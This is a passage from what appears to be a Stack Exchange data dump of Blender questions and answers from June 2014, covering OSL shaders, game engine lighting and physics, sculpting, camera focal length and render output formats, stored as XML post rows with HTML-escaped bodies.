&lt;code&gt;BSDF&lt;/code&gt;, which determines the color of your material when it is connected to the 'Surface' input of the 'Material Output' node.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see some other shader examples click on the 'Templates' button in Blender's text editor, then select 'Open Shading Language' and select a template that sounds interesting.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AGIwk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Unfortunatly I do not know any good beginner tutorials, but you can have a look at &lt;a href=&quot;https://www.youtube.com/watch?v=4LQXjIDWtz0&quot; rel=&quot;noreferrer&quot;&gt;this one&lt;/a&gt; which describes how to translate a GLSL shader into a OSL shader and &lt;a href=&quot;https://www.youtube.com/watch?v=sEqQFZkVVEE&quot; rel=&quot;noreferrer&quot;&gt;this one&lt;/a&gt; which describes how to create an absorption shader.&lt;br&gt;&#xA;Otherwise I advise you to just try it out. Learning by doing usualy gives you the most benefit when programming.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-06-03T18:51:31.380" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10967" PostTypeId="2" ParentId="9394" CreationDate="2014-06-03T19:19:27.657" Score="1" Body="&lt;p&gt;You could make sure resolution is high and vertex paint with a voronoi brush texture, then blur it with vertex paint tool. Then mix into nodes with the Col attribute.&lt;/p&gt;&#xA;" OwnerUserId="1456" LastActivityDate="2014-06-03T19:19:27.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10968" PostTypeId="1" CreationDate="2014-06-03T19:43:21.830" Score="0" ViewCount="30" Body="&lt;p&gt;Limit selection to visible is on! This is driving me bonkers. I hit a button somewhere and now my mesh is like this in edit mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GDWUD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: it's fine in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help! :-(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: i meant limit selection to visible IS on lol&lt;/p&gt;&#xA;" OwnerUserId="3731" LastActivityDate="2014-06-03T19:43:21.830" Title="Solid viewport shading in edit mode is transparent in places?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-06-03T20:02:00.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="10969" PostTypeId="2" ParentId="10964" CreationDate="2014-06-04T03:13:05.213" Score="2" Body="&lt;p&gt;One option is to run the altered script while it is in blender's text editor. There is a button in the text editor header for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to save the changes to disk and press &lt;kbd&gt;F8&lt;/kbd&gt;. This will have blender re-run all the interface and addon scripts similar to having re-started blender, which is also an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that it isn't recommended to alter the scripts that come with blender. You can create an addon that alters or adds to existing menus and lets you easily turn it on/off as well as use it again in the next version after you update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at some existing addons you can easily work out that you can add to the object specials menu with a line such as &lt;code&gt;bpy.types.VIEW3D_MT_object_specials.append(MyMenu)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-06-04T03:13:05.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10970" PostTypeId="1" CreationDate="2014-06-04T03:18:53.440" Score="2" ViewCount="639" Body="&lt;p&gt;As asked and answered in a &lt;a href=&quot;https://blender.stackexchange.com/questions/10918/font-special-ascii-characters-in-2-6&quot;&gt;previous question&lt;/a&gt;,  Blender 2.6 handling of extended characters in font sets is bit awkward, aside from specific special characters &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workaround solution is copy pasting ALT### from other apps into the redo panel when editing text objects or copy pasting from other apps into text editor then using text to 3D Object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Reference/Panels/Editing/Char&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender 2.4 had a character panel&lt;/a&gt; and 2.4 reference documentation mentions making fonts as well, where &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Texts#Special_Characters&quot; rel=&quot;nofollow noreferrer&quot;&gt;2.6 reference omits these options&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So essentially, is there a script way to change/toggle the text editor itself to use fonts other than the default so that symbol fonts can be shown in the text editor in the process of modelling. This, as opposed to using several text objects with the font applied that sadly needs many copy/paste translation to get the full font character map set displayed.&lt;/p&gt;&#xA;" OwnerUserId="2279" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-06-25T23:25:12.567" Title="Script to change Text Editor font display so Symbol Fonts and Extended Characters can be referenced" Tags="&lt;text-editor&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10971" PostTypeId="1" AcceptedAnswerId="10974" CreationDate="2014-06-04T03:23:59.997" Score="4" ViewCount="1558" Body="&lt;p&gt;I'm creating a game that I would like to have very, very soft lighting. Here's an example of a game with a similar lighting to how I would like it: &lt;img src=&quot;https://media.moddb.com/images/members/1/81/80703/parking_trade_1k_edit.jpg&quot; alt=&quot;example picture&quot;&gt;&#xA;What sort of render effects could I use to make a similar lighting effect in the Game Engine?&lt;br&gt;&#xA;(I will be having a lot of questions about the game engine, thank you for putting up with me.)&lt;/p&gt;&#xA;" OwnerUserId="3584" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.020" LastActivityDate="2014-06-04T16:34:08.397" Title="How do I get a very soft lighting effect in the Game Engine?" Tags="&lt;game-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10972" PostTypeId="2" ParentId="10960" CreationDate="2014-06-04T04:24:56.067" Score="12" Body="&lt;p&gt;The cycles script node connects OSL scripts into cycles, pretty much like an addon for the render engine. While you can use an OSL script to define the final appearance of the material, you can also use them as small steps that add custom noise or pattern inputs or custom math functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a self published e-book by Michel Anders called &lt;a href=&quot;http://blenderthings.blogspot.nl/p/open-shading-language-for-blender.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Open Shading Language for Blender: A practical primer&lt;/a&gt;. You will want some programming knowledge before reading it at it doesn't teach the core language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also find that OSL is very similar to RenderMan scripts. Which is not surprising as it was created by Larry Gritz who worked on RenderMan at Pixar for several years before starting OSL. You will find that many RenderMan scripts are easily converted to OSL and any tutorials should also easily translate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &lt;a href=&quot;https://github.com/sambler/osl-shaders&quot; rel=&quot;nofollow noreferrer&quot;&gt;github repository&lt;/a&gt; that has over 100 OSL scripts, including preview renders and node tree snapshots used to create them. Some of these scripts come from various websites including Michel Anders blog and the Blender Artists forum while others are conversions of older RenderMan scripts and a couple are OSL versions of quite complex node setups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some samples of scripts that define the entire material and connect to the output node -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PDNvL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/21FFz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These two samples use the same hexagonal pattern script within different node trees -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8mtIM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/26REK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2017-10-04T09:25:46.797" LastActivityDate="2017-10-04T09:25:46.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10973" PostTypeId="2" ParentId="10741" CreationDate="2014-06-04T06:33:33.653" Score="0" Body="&lt;p&gt;For your case: When I was making a pool balls for an animation I used a UV sphere and created separate materials for the (White or coloured) sections at the poles and another material for the number band applied to the faces around the middle.  Then I could very easily seam the edges of this equatorial region and UV map it with a band and number.&lt;/p&gt;&#xA;" OwnerUserId="429" LastActivityDate="2014-06-04T06:33:33.653" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10974" PostTypeId="2" ParentId="10971" CreationDate="2014-06-04T07:19:29.153" Score="3" Body="&lt;p&gt;Soft shadows like that are hard to calculate with standard approaches.&lt;br&gt;&#xA;The only out-of-the-box realtime solution i know for Blender is using a sun- or spot-lamp with a low-resolution variance shadow map in GLSL shading mode. Note that this technique might &quot;detatch&quot; the shadow from an object.&lt;br&gt;&#xA;Lamp settings:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cmvJ1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Result:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bdzUW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not need real-time solutions you can also bake all the lighting of the scene into textures. Then you have the full rendering capability of Blender at your hand and can use lamps with soft shadows. But you will only be able to apply this effect to static objects in your scene. You would probably still have to combine baked shadows with the variance shadow map approach for your characters.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-06-04T07:19:29.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10976" PostTypeId="1" CreationDate="2014-06-04T08:50:45.650" Score="2" ViewCount="724" Body="&lt;p&gt;I have two objects in my scene. One of them is a rigid body and it has to collide with the another one (soft body). I need to do the rigid body deforms the softbody in runtime and the deformation has to be plastic. I tried setting the object as Soft body in Game Render and setting Plastic = 100, but I think these parameters don't affect in the game engine. What could I do? I think changing the position of each vertex of the softbody when the rigid body touch it could be computationally expensive. &lt;/p&gt;&#xA;" OwnerUserId="2821" LastEditorUserId="2217" LastEditDate="2014-06-05T23:31:44.773" LastActivityDate="2014-06-05T23:31:44.773" Title="Deforming a mesh in BGE runtime" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10977" PostTypeId="2" ParentId="6188" CreationDate="2014-06-04T09:48:23.790" Score="7" Body="&lt;p&gt;Something which will similarly help you find pieces of your mesh that aren't quite right is the &quot;Select Non-Manifold&quot; CTRL+SHIFT+ALT+M - this will show you when you have too many faces connecting to a single edge, and it will show you when you have too few faces connected to an edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One note on this, however, is if you cut your model in half and put a Mirror Modifier on it to keep it perfectly symmetrical, it will find the entire cut as non-manifold until you apply the modifier.&lt;/p&gt;&#xA;" OwnerUserId="3734" LastActivityDate="2014-06-04T09:48:23.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10978" PostTypeId="1" AcceptedAnswerId="10980" CreationDate="2014-06-04T10:17:35.760" Score="2" ViewCount="1005" Body="&lt;p&gt;I recently made a flat surface and turned it into a rounded shape and sadly forgot on how that was achieved within Blender.&#xA;the wished result is on the far right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to make it now with the &quot;to sphere&quot; function but that gives me really crappy results.&#xA;I just know that I haven´t used the proportional editing nor a real sphere back then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3c8cF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1436" LastEditorUserId="9" LastEditDate="2014-06-04T10:26:52.663" LastActivityDate="2014-06-04T10:55:05.730" Title="flat area to sphere or turn to half of sphere" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10979" PostTypeId="2" ParentId="10976" CreationDate="2014-06-04T10:31:33.223" Score="1" Body="&lt;p&gt;The Blender Game Engine and the Blender's simulation system use two different pysics solvers. To see the game physics settings you have to set the Blender engine to 'Blender Game':&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DTB8S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;But the softbody settings of the game engine do not offer any settings for plastic deformation:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rEXiI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why is there a difference? &#xA;The solver used in the animation system is more powerfull and accurate, but as you may have noticed it is much too slow for a game.&lt;br&gt;&#xA;The solver in the Game Engine on the other hand uses a very fast position-based softbody simulation called Shape Matching (see &lt;a href=&quot;http://www.beosil.com/download/MeshlessDeformations_SIG05.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;the paper&lt;/a&gt; for more information). While the paper also describes the implementation of plastic deformations, this is either not implemented or not activated in Blender.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-06-04T10:31:33.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10980" PostTypeId="2" ParentId="10978" CreationDate="2014-06-04T10:54:32.330" Score="3" Body="&lt;p&gt;To sphere is actually the correct way if you do not want to use proportional editing, but you have to make sure that yout pivot center is set to where you want the center of the sphere to be.&lt;br&gt;&#xA;The easiest way is probably to set the pivot point to be at the 3D Cursor&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WWPst.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;and then placing the 3D Cursor where you need it. You can either set its coordinates directly&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zplU5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;or select a set of vertices or objects in whose center you want the cursor to be and press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; and selecting 'Cursor to Selected'.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JRT9r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw: The radius of the sphere is the median distance of the selection to this pivot point.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-06-04T10:54:32.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10981" PostTypeId="2" ParentId="10978" CreationDate="2014-06-04T10:55:05.730" Score="1" Body="&lt;p&gt;Starting with the left most object, delete the faces on the top, flat surface. Then switch to vertex select mode. Select all of the vertices around the top loop, extrude them, and join them at the center. Switch to edge select mode, select all of the edges from the center vertex to the edge, and subdivide he edges several (3 to five) times, depending upon the desired height of the dome. Form the dome by selecting all but the outermost edge loop, and raise the selected part to the desired height. Repeat the same process, selecting all but the outermost edge loop of the previous step, and finally the center vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can turn on proportional editing, if desired.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-06-04T10:55:05.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10982" PostTypeId="1" CreationDate="2014-06-04T12:12:26.437" Score="5" ViewCount="1515" Body="&lt;p&gt;I have a scene with two textured planes that cover each other. The textures are in png file format with alpha channel. The material nodes configuration is presented below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4AWlw.png&quot; alt=&quot;Cycles shader configuration&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sure the material settings are correct:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IHYSv.png&quot; alt=&quot;Material settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the transparency is not working in 3D View in Material viewport shading mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3zmNc.png&quot; alt=&quot;Transparency in material viewport shading mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile everything works in Rendered viewport shading mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kagZc.png&quot; alt=&quot;Transparency in Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the problem?&lt;/p&gt;&#xA;" OwnerUserId="3735" LastActivityDate="2014-06-04T12:12:26.437" Title="Cycles: No transparency in 3D View in material viewport shading mode" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ClosedDate="2014-07-19T15:10:29.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="10983" PostTypeId="1" CreationDate="2014-06-04T13:27:17.997" Score="2" ViewCount="1092" Body="&lt;p&gt;I want to preserve as best I can the quality of digital photos taken in RAW format and then rendered as animation sequences in Blender. My workflow is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Process RAW (.cr2) images with Darktable&lt;/li&gt;&#xA;&lt;li&gt;Export as OpenEXR&lt;/li&gt;&#xA;&lt;li&gt;Track and composite animation sequence in Blender&lt;/li&gt;&#xA;&lt;li&gt;Save animation as OpenEXR image sequence&lt;/li&gt;&#xA;&lt;li&gt;Open multiple image sequences in VSE and render final video file&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The OpenEXR format is very large (over 200MB per image). Do I need to use it in both steps 2 and 4? Also, what settings should I use for the final video render?&lt;/p&gt;&#xA;" OwnerUserId="218" LastEditorUserId="599" LastEditDate="2014-06-04T21:02:09.450" LastActivityDate="2014-06-04T21:02:09.450" Title="Workflow and image/video formats for rendering high quality photos as animations?" Tags="&lt;rendering&gt;&lt;workflow&gt;&lt;file-format&gt;&lt;video&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10984" PostTypeId="1" AcceptedAnswerId="10998" CreationDate="2014-06-04T14:15:46.983" Score="1" ViewCount="3292" Body="&lt;p&gt;As my fedora repos are way behind and still on blender 2.69, I've gone and compiled the latest myself. Everything seems to work and is quite recent. I can even bake CPU SSS, which is great. However I still get the error &quot;&lt;strong&gt;Volumes/SSS not supported on GPU&lt;/strong&gt;&quot;. Have I missed a flag or library (eg OSL support) in CMAKE or is this still on the todo list? If its just not finished yet, I don't mean to rush the devs but definitely looking forward to its release.&lt;/p&gt;&#xA;" OwnerUserId="1713" LastActivityDate="2014-08-26T22:52:31.380" Title="GPU/CUDA volume and SSS support" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10988" PostTypeId="1" AcceptedAnswerId="10994" CreationDate="2014-06-04T17:48:32.797" Score="1" ViewCount="795" Body="&lt;p&gt;When matching real-world camera shots/footage, I need to know whether the Focal Length in Blender represents the focal length set on the lens or the &quot;true&quot; focal length, taking into account a cropped sensor, e.g. Nikon DX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, using my 50mm lens on my DX sensor bodies, the effective or &quot;real&quot; focal length of the images is actually 75mm because of the 1.5x factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="537" LastActivityDate="2017-07-11T11:05:46.327" Title="Focal Length Using Cropped Sensor Cameras" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10989" PostTypeId="2" ParentId="6188" CreationDate="2014-06-04T17:52:48.067" Score="0" Body="&lt;p&gt;If you find deletion of geometry routinely leaves remaining artifacts (vertices, edges or even faces) you might want to adopt the custom of always removing doubles before deleting. Undoing extrusions can also create these bits of rogue geometry. This happens when the next operation after an extrusion is reversed by undoing it, but the extrusion itself is not removed, so   &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-06-04T17:52:48.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10990" PostTypeId="1" AcceptedAnswerId="10992" CreationDate="2014-06-04T17:59:53.427" Score="2" ViewCount="1391" Body="&lt;p&gt;I was experimenting with a scene with an object that is unwrapped so that every polygon has the same texture so that I can use it as a wireframe. The object is sitting on a plane. I tried this node setup, but it is not as I expected, because for some reason the main material casts light.&lt;img src=&quot;https://i.stack.imgur.com/ye1mR.jpg&quot; alt=&quot;example 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I9II9.png&quot; alt=&quot;node setup&quot;&gt;&#xA;Here is what I want to achieve: the wireframe should be a light source that doesn't cast light. By the way, there is no other light source in the scene that is lighting the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it works this way:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UAHDy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zqTb1.png&quot; alt=&quot;node setup 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in this way only the wireframe of the object is visible.&#xA;How can I make the wireframe only to be a light source and not to cast any light?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I confused anybody, then this is what I mean:&#xA;&lt;a href=&quot;http://cgcookie.com/blender/2011/10/20/blender-tip-creating-invisible-lights-in-cycles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cgcookie.com/blender/2011/10/20/blender-tip-creating-invisible-lights-in-cycles/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="599" LastEditDate="2014-06-08T22:31:25.660" LastActivityDate="2014-06-08T22:31:25.660" Title="How to make the light emission invisible?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10992" PostTypeId="2" ParentId="10990" CreationDate="2014-06-04T18:55:46.093" Score="2" Body="&lt;p&gt;You can use a &lt;em&gt;Light path&lt;/em&gt; node to mix shaders based on the properties of the incoming ray.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this node setup mixes &lt;em&gt;Base material&lt;/em&gt; and &lt;em&gt;Line material&lt;/em&gt; based on &lt;em&gt;Line texture&lt;/em&gt;, then mixes that with &lt;em&gt;Base material&lt;/em&gt; based on the kind of incoming ray; rays coming directly from the camera will see the mix of &lt;em&gt;Base&lt;/em&gt; and &lt;em&gt;Line&lt;/em&gt;, but other rays will &quot;see&quot; only &lt;em&gt;Base&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xFF67.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So shadows and indirect lighting etc. will be cast as if &lt;em&gt;Base shader&lt;/em&gt; was connected straight to the material output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AiCRE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-04T18:55:46.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10993" PostTypeId="2" ParentId="7500" CreationDate="2014-06-04T19:16:03.527" Score="0" Body="&lt;p&gt;to make another action you create your first animation make the fake user &quot;little F button&quot; then when your all done with the first action and ready to start the second action, hit the X button to remove that first action from being edited the X will not delete your action you created just unload it from the action editor for editing, then hit the plus again and there you go 2 seperate actions&lt;/p&gt;&#xA;" OwnerUserId="3740" LastActivityDate="2014-06-04T19:16:03.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10994" PostTypeId="2" ParentId="10988" CreationDate="2014-06-04T19:55:42.237" Score="3" Body="&lt;p&gt;Yes, I if you set the sensor size to the Nikon DX preset, the field of view should be the same as a real camera. The field of view is computed from the dimensions of the sensor and the length of the lens, as is in the real world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 75mm lens on a full sensor camera (24x36mm sensor size) would cover a field of view of 26.9 degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 50mm lens on an APS size sensor (23.6x15.8mm) would cover afield of view of 26.6 degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that the 1.5 factor in real life is &quot;approximate&quot;. The exact match for a 75mm lens would be a 49.34mm lens.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-06-04T19:55:42.237" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10995" PostTypeId="1" AcceptedAnswerId="10996" CreationDate="2014-06-04T20:26:51.340" Score="5" ViewCount="2006" Body="&lt;p&gt;I'm trying to learn some sculpting techniques in Blender and at first I thought that I'm doing something wrong (and probably still am) concerning the grab sculpting brush, because I just couldn't get it to pull in the natural ways. So I watched some online tutorials and without them mentioning any change than what I was doing I saw that my brush was indeed acting strange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;a href=&quot;https://www.youtube.com/watch?v=KXjG8jEa9SI&quot; rel=&quot;nofollow noreferrer&quot;&gt;this is one of the videos I followed&lt;/a&gt;.&#xA;The sculpting starts at around 4:00 minutes in. When he uses the grab tool you can see that the mesh is pulled in the direction he drags and deforms quite nicely, also even the middle parts of the mesh are pulled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I follow his exact same steps (I even made sure of the view settings) grab brush pulls it diagonally in the direction I am pulling, but also pulls it towards the viewer (screen). It is also very pointy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I used the grab tool here just to illustrate my problem and didn't try to emulate the tutorial again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right ortho view of sculpt (same one as tutorial):&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Fpbuj.jpg&quot; alt=&quot;Right ortho view of sculpt&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Front view of sculpt:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rjqb4.jpg&quot; alt=&quot;Front ortho view of sculpt&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see it does not pull the middle part (X mirroring is active), also it seems to pull more on corners than edges, which makes it very pointy. I tried playing around with most of the brush settings, but couldn't find anything that seemed to be improving it.&lt;/p&gt;&#xA;" OwnerUserId="3741" LastEditorUserId="599" LastEditDate="2014-06-04T20:54:27.673" LastActivityDate="2014-06-04T20:54:27.673" Title="Sculpting grab tool causing pointy mesh?" Tags="&lt;sculpting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10996" PostTypeId="2" ParentId="10995" CreationDate="2014-06-04T20:44:32.427" Score="3" Body="&lt;p&gt;Try using a bigger brush radius (&lt;kbd&gt;F&lt;/kbd&gt; + drag to change).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Small radius:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0hHna.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Large radius:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CMqy6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also try to drag close to the edge of the object.&#xA;When you grab closer to the center (thinking in 2D), you are really grabbing the side of the object, affecting geometry &quot;closer&quot; to the screen more than geometry near the actual center, which is at the edge of the visible portion of the object when in side ortho view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vrwYH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-04T20:44:32.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10997" PostTypeId="2" ParentId="10983" CreationDate="2014-06-04T20:57:20.453" Score="2" Body="&lt;p&gt;It is more common to save the output of blender rendering as a set of PNGs.  You can turn up the compression in the Render &gt; Output section, but I can not predict if it will save space compared to the OpenEXR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making a VSE output to compressed video (as you do) is very common, and almost required if there is any sound involved.  The settings you use for the final video render will vary depending on&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;how much bandwidth you are willing to allocate for streaming&lt;/li&gt;&#xA;&lt;li&gt;resolution of video (3.75Mbit/s MPEG-2 is CableLabs VoD standard for SD.  You will want 4-9Mbit/s for H.264 1080p video)&lt;/li&gt;&#xA;&lt;li&gt;what formats are supported by the client software (motorola DCT-2000 -vs- iPhone)&lt;/li&gt;&#xA;&lt;li&gt;does the container support the codecs you want (MPEG-2 program stream doesn't support AAC and blender does not seem to support transport streams)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some more reading is at &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Output/Video&quot; 